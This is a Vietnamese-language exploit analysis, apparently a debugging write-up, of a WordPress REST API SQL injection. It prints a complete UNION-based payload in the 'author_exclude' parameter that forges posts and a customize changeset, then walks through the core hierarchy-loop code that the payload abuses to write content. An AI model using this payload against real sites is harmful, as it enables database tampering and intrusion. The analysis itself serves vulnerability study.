Xây dựng payload như sau:

/wp/v2/posts/999999?author_exclude=1) AND 1=0 UNION ALL SELECT 0,1,2020-01-01 00:00:00,2020-01-01 00:00:00,[embed width="500" height="750"]<http://127.0.0.1/2023/07/03/hello-world/#106b520cccb71[/embed],trigger,'',publish,closed,closed,'',trigger,'','>',2020-01-01 00:00:00,2020-01-01 00:00:00,'',0,'',0,post,'',0 UNION ALL SELECT 25,1,2020-01-01 00:00:00,2020-01-01 00:00:00,'',O,'',publish,closed,closed,'',O,'','',2020-01-01 00:00:00,2020-01-01 00:00:00,'',24,'',0,post,'',0 UNION ALL SELECT 24,1,2020-01-01 00:00:00,2020-01-01 00:00:00,{"nav_menu_item[1867521028]":{"type":"nav_menu_item","user_id":1,"value":{"object_id":0,"object":"","menu_item_parent":0,"position":0,"type":"custom","title":"generated","url":"<https://example.invalid/","target":"","attr_title":"","description":"","classes":"","xfn":"","status":"publish","nav_menu_term_id":0,"_invalid>":false}}},changeset,'',future,closed,closed,'',d4148ff9-affc-452d-bf74-7ed17bdc32bc,'','',2020-01-01 00:00:00,2020-01-01 00:00:00,'',1867521027,'',0,customize_changeset,'',0 UNION ALL SELECT 1867521027,1,2020-01-01 00:00:00,2020-01-01 00:00:00,outer,outer,'',draft,closed,closed,'',outer,'','',2020-01-01 00:00:00,2020-01-01 00:00:00,'',24,'',0,post,'',0 -- -&per_page=500&orderby=none

image.png

Debug xem :

image.png

Nhảy vào hàm shortcode vì nó có embed , khi mà embed được cập nhật có parent rồi, thì nó sẽ nhảy vào hàm dưới

image.png

Xác định có loop ko bằng 2 lần thuật toán sau:

image.png

Cụ thể nó làm gì :

function wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override = array(), $callback_args = array(), $_return_loop = false ) {
	$tortoise        = $start;
	$hare            = $start;
	$evanescent_hare = $start;
	$return          = array();

	// Set evanescent_hare to one past hare. Increment hare two steps.
	while (
		$tortoise
	&&
		( $evanescent_hare = $override[ $hare ] ?? call_user_func_array( $callback, array_merge( array( $hare ), $callback_args ) ) )
	&&
		( $hare = $override[ $evanescent_hare ] ?? call_user_func_array( $callback, array_merge( array( $evanescent_hare ), $callback_args ) ) )
	) {
		if ( $_return_loop ) {
			$return[ $tortoise ]        = true;
			$return[ $evanescent_hare ] = true;
			$return[ $hare ]            = true;
		}

		// Tortoise got lapped - must be a loop.
		if ( $tortoise === $evanescent_hare || $tortoise === $hare ) {
			return $_return_loop ? $return : $tortoise;
		}

		// Increment tortoise by one step.
		$tortoise = $override[ $tortoise ] ?? call_user_func_array( $callback, array_merge( array( $tortoise ), $callback_args ) );
	}

	return false;
}

MẢng overide theo hàm thì nó sẽ lấy (start : startParent) ở đây là :

image.png

Khi mà chạy thuật toán trên : (Đọc code là sẽ hiểu) đại loại như nó tìm parent của id hiện tại , cố gắng đi đến gốc cuối cùng của parent và check xem parent hiện tại có bị trùng với gốc không thì loop và ghi lại ID gây loop. Ở demo này thì ra 2 ID gây loop

image.png

Đúng theo những gì payload cố gắng thực hiện . Sau đó code bên dưới cố gắng update cho những cái ID loop này cho parent ID về 0 nhưng mà lúc này ko set cứng content nữa nên ta mới được khả năng ghi content zô.

image.png

Đi sâu vào